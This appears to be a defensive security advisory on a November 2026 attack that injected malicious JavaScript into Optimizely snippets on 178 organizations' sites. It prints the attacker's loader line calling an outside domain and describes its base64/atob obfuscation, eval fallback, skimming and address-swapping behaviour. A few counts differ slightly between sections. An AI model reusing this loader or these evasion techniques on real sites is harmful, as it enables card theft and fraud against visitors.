Short version: you almost certainly do not run Optimizely, so this is not your incident. It is still your problem, because the thing that broke was a script that somebody outside the company was allowed to change without asking, and your shop has three or four of those. There is nothing to patch this week. There are checks to run, and they cost nothing but attention.

On 16 November 2026, visitors to 178 organizations' websites — Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger, Peacock and about 165 others — were served malware from a trusted domain. Not from a pop-up, not from an ad network, and not from a breach of any of those companies. From the marketing tool that each of them had deliberately embedded on every page.

The researcher who found it, Scott Helme of Report URI, checked 1,611 Optimizely snippets and found 188 carrying the attacker's code, across 178 organizations, from banking and retail to airlines, hospitals, universities and three levels of government-adjacent nonprofits. He thinks the real number is higher, because he could only check the snippets he found in time.

Every one of those sites had a Content Security Policy decision to make that morning. Most of them had made it badly, and that part is worth reading even if your shop runs on WooCommerce and a chat widget.

What actually happened

Optimizely Web Experimentation works the way most marketing tags work. You paste one snippet into your site, it loads a per-project JavaScript file from Optimizely's servers, and the platform controls what that file says. Among the things a customer can put in that file is a field called Project JavaScript — custom code, written in a dashboard, that runs on every page where the snippet loads.

The attacker wrote their own code into the Project JavaScript of a lot of unrelated customer projects and left the rest of each file untouched. So the snippet still came from cdn.optimizely.com, still carried Optimizely's certificate, and still matched the script tag those sites had used for years. Report URI is precise about what this was not: Optimizely's CDN served exactly what it was given, so this was not cache poisoning or a hijacked certificate. Somebody had the right to write that field and used it.

The loader came in three forms, and the second one is the interesting one. The common version appended <script src="https://1688360.cc/track.js">. A second version base64-encoded that same URL and decoded it at runtime with atob(), so that searching your files for the domain finds nothing. The third was a full inline copy of the payload, run through eval whenever the first two were blocked.

Stripped to a timeline, all times UTC on 16 November:

Time Event
04:21 First injection seen — the BBC's snippet begins loading webshell.lol
05:23 The payload domain 1688360.cc is registered
08:28 track.js is first served from bbc.com
11:20 Zoom's snippet is modified
13:03 Attacker sweeps stolen crypto to exchanges
13:43 A card skimmer is added to the payload
17:13 iOS stage added — an exploit chain loads on older iPhones
19:24 Report URI's sweep begins: 186 of 1,611 snippets infected
20:40 Mass clean-up begins
23:11 Last infected file is clean

About eighteen hours and fifty minutes of exposure, and the payload was rebuilt 26 times inside that window. The attacker added features and added wallets, and never took anything out.

What the code did to a visitor

Every visitor got the same script and every function was live at once. What happened to a particular person depended on their device and on what they did on the page.

  • Crypto address swapping, which already worked. The script finds a valid wallet address on the page and replaces it with one of the attacker's, in page text, form fields, links and images, in the clipboard on copy, in outgoing requests, and in the iOS share sheet. It checksums the addresses so it only swaps real ones. Money was taken: the attacker's wallets received roughly $7,000 in crypto inside nine hours, and were emptied the following morning.
  • Card skimming, added at 13:43. It watched form submissions and every outgoing POST for a Luhn-valid card number, an expiry date and a CVV, then sent all three to the attacker's server.
  • Cookie and screenshot theft. Wherever it swapped an address near wallet or payment wording, it also sent the page URL, the site's readable cookies and a rendered screenshot of the page.
  • iOS exploit kits. On iPhones and iPads it loaded a second script that delivered the Coruna kit to iOS 13 through 17 and DarkSword to iOS 18. Pages on iOS 18.6 or older reloaded every 60 seconds to retry the exploit, which is the one visible symptom a visitor might have noticed.

Apple's response, given to Reuters, matters for proportion: the underlying iOS vulnerabilities were fixed last year, and devices running current software were protected. If your phone is up to date, the iOS half of this did not apply to you.

The one detail that matters most if you take card payments

The skimmer could read card numbers typed into a site's own form fields. It could not read card numbers typed into payment fields hosted by somebody else — Stripe's hosted fields, Adyen's, and the redirect checkouts that send the customer to a payment page all sat outside its reach, because the numbers never appear in the page the skimmer controls.

That single distinction is the cheapest real protection a small shop can buy, and it is usually free. If your checkout keeps customers on your own domain while they type card details, then any script on that page can read what they type. If it hands them to a hosted payment page or a hosted card field, the script cannot.

Most small shops are already on the safe side of that line, often without knowing it. The ones that are not tend to be on older self-built checkouts, or on plugins that collect card data on the site itself. Worth knowing which one you are.

But do not read that as immunity, because a skimmer has an answer for it. In November 2026 Report URI documented a kit that targets shops which send customers to a hosted gateway: it injects a fake card form into the checkout, styled to match the payment brand and written in the shop's own language, collects what the customer types, then quietly restores the real payment box so the order completes normally. The shop gets paid, nobody complains, and the card is gone. Hosted fields remove your real form from a skimmer's reach. They do not stop a skimmer from building its own.

"We trusted the vendor" is not a control

This is the part with an actual lesson, because the natural reply to this story is "we cannot audit a marketing tool". Correct — and irrelevant. You cannot audit it, but you can limit what it is allowed to make the browser do next.

Report URI crawled 256 of the affected organizations' own hosts and tested their Content Security Policy against the attack. Content Security Policy is an HTTP header where a site lists what it permits the browser to load and connect to. The results:

Policy state Organizations
No CSP at all 68
Policy allowed the payload and the data theft 50
Payload ran, but exfiltration was blocked 17
Payload blocked 24 (15%)

Allowing cdn.optimizely.com was never going to help, for the obvious reason: that is where the malicious code came from. What separated the safe 15% was a script-src that named only the hosts the site actually needed — so 1688360.cc was never allowed to load a thing.

Be precise about what a policy can and cannot do here: it cannot rule on whether a script you allowed is honest. It can only constrain what that script does next — where it may load code from, and where it may send data. On 16 November that was enough to matter, because every stage of the attack needed the browser to reach somewhere new.

Report URI flags two settings that let it through. 'strict-dynamic' tells the browser to trust any script that a trusted script inserts, which is exactly what the loader was — that one is an analysis of the policy rather than a per-site finding. 'unsafe-eval' is the observed case: Optimizely's own documentation asks customers to allow it, so the inline fallback ran even where the external file was blocked. HSBC's policy blocked track.js and blocked the theft — and the inline copy still executed.

Seventeen sites blocked the exfiltration with connect-src while the payload still ran. That is a meaningful half-victory: the address swapping happens inside the page and cannot be stopped that way, but the cards, cookies and screenshots never left.

What to do this week

1. List every outside host your checkout loads. Open your checkout page, view the page source or the network panel, and write down every script that comes from a domain that is not yours. Tag managers, pixels, chat widgets, review widgets, A/B tools, recommendations, chatbots. That list is your supply chain, and most owners have never seen it written down.

2. Mark the ones where somebody outside your company can write code. A script tag is a dependency; a script tag whose content a third party can edit at will is a write path into your checkout. Google Tag Manager custom HTML tags, an A/B tool's project JavaScript, a chat widget's custom code, a review vendor's "add your own badge" setting — each one is a door, and each one should have a name on it, an owner, and a reason.

3. Get card capture off your own page if it is still there. Hosted card fields or a hosted checkout put the numbers somewhere a script on your site cannot read. If you cannot move it this month, at least know that you are relying on every script in step 1 continuing to behave.

4. Add a Content Security Policy, in report-only mode first. Report-only changes nothing for visitors and tells you what would have broken. The shape of it looks like this:

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'self' https://cdn.optimizely.com https://www.googletagmanager.com;
  connect-src 'self' https://*.optimizely.com https://*.google-analytics.com;
  object-src 'none'; base-uri 'self'; report-uri /csp-report

That is an illustration, not a template — a policy you did not build from your own network panel will break something, which is the entire point of running it in report-only while you find out. Then restrict connect-src so a compromised script cannot ship data to a host you did not list, and avoid 'unsafe-eval' and 'strict-dynamic' where you can live without them. Nine times out of ten the thing blocking you is one marketing tag, and that conversation is worth having anyway.

5. Watch the scripts, not just the site. Your uptime monitor will never see this, and neither will your SSL checker — the certificate was valid and the server was up the whole time. What catches it is noticing that a script you load has changed. Report URI sells that as a product, which is worth saying out loud; the free version of the same discipline is a weekly diff of your rendered page and a report endpoint on your new CSP.

6. If you take card payments, check where you sit in PCI DSS. Version 4.x of the standard added two requirements aimed at exactly this failure mode. Requirement 6.4.3 requires every script on your payment page to be authorized, inventoried with a written justification, and checked for integrity; Requirement 11.6.1 requires change- and tamper-detection on that page, alerting you when something moves that should not have. Both took effect on 31 March 2025, and the PCI Security Standards Council publishes a guidance supplement on e-skimming for them. Ask your acquirer or QSA which of the two apply to your SAQ type rather than assuming — a fully outsourced checkout narrows the question, but it is still their call, not yours.

If you use Optimizely Web Experimentation: read every project's Project JavaScript and every experiment's custom code for 1688360.cc, atob( and anything you did not write. Rotate the credentials and API tokens that can touch those projects. Treat cards entered on 16 November as potentially exposed, and treat any session token that lived in a cookie without HttpOnly as stolen. Optimizely says it has fixed the flaw and secured affected accounts. It has not published an incident report in its security announcements center, and no CVE had been assigned as of 19 November, so there is no technical detail to reason about yet.

If you shopped on one of those sites on 16 November: update your iPhone or iPad, check any crypto transfer you made that day against the address you meant to send to, and watch your card statement.

The takeaway

Nothing in this story is exotic. No zero-day in a browser, no nation-state tooling, no clever encryption. One attacker got write access to a field that 178 organizations had arranged to have executed on every page they served, and the delivery looked perfect because it was perfect — right domain, right certificate, right file.

The uncomfortable sentence is the one every affected company has to say to its customers: we did not get hacked, we served it. You can outsource the code. You cannot outsource the consequence.

Key numbers

Fact Value
Date of incident 16 November 2026
Organizations affected 178, across 188 infected snippets
Snippets checked 1,611
Sectors worst hit Banking and finance 32, technology 23, retail 20
Exposure window 04:21 to 23:11 UTC, about 18 hours 50 minutes
Payload rebuilds that day 26
Crypto received by attacker about $7,000 in under nine hours
Sites with a policy that blocked the payload 24 of 256 tested (15%)
Sites with no Content Security Policy at all 68 of 256
CVE none assigned as of 19 November 2026
Vendor position flaw in Experimentation exploited, fixed, injected code removed

Sources

  • Report URI (Scott Helme), primary technical analysis, 16-17 November 2026 — blog.report-uri.com/worlds-largest-brands-infected-with-malware-via-optimizely/
  • Optimizely status page, incident ftw0fh9wx43z, 17 November 2026 01:02 UTC — status.optimizely.com/incidents/ftw0fh9wx43z
  • Reuters, 16-17 November 2026, including statements from Optimizely, Salesforce, Equifax, Zoom, HSBC and Apple
  • Help Net Security, 17 November 2026 — helpnetsecurity.com/2026/11/17/optimizely-vulnerability-malicious-javascript/
  • The Hacker News, 17 November 2026 — thehackernews.com/2026/11/hijacked-optimizely-scripts-served-card.html
  • StepSecurity, independent payload and wallet tracing, 17 November 2026 — stepsecurity.io/blog/optimjack-optimizely-hosted-scripts-crypto-clipper-card-skimmer
  • TechTarget, 17 November 2026 — techtarget.com/news/optimizely-supply-chain-attack-turns-trusted-scripts-against-178-orgs/874997/
  • NVD keyword search for Optimizely, re-run 19 November 2026 — no record for this incident
  • PCI Security Standards Council, information supplement on Requirements 6.4.3 and 11.6.1, 10 March 2025 — blog.pcisecuritystandards.org/new-information-supplement-payment-page-security-and-preventing-e-skimming
  • Report URI, fake card form injected into hosted-gateway checkouts, November 2026 — blog.report-uri.com/the-skimmer-that-adds-a-card-form-to-checkouts-that-never-ask-for-a-card/
Related reading:

A free security scan will show you the public surface your site presents — headers, exposed files, outdated software — and whether a Content Security Policy is in place at all. It cannot tell you whether a vendor's script is honest today, and no scanner can. That part is a habit, not a purchase: run the scan, then put the script list where you can see it.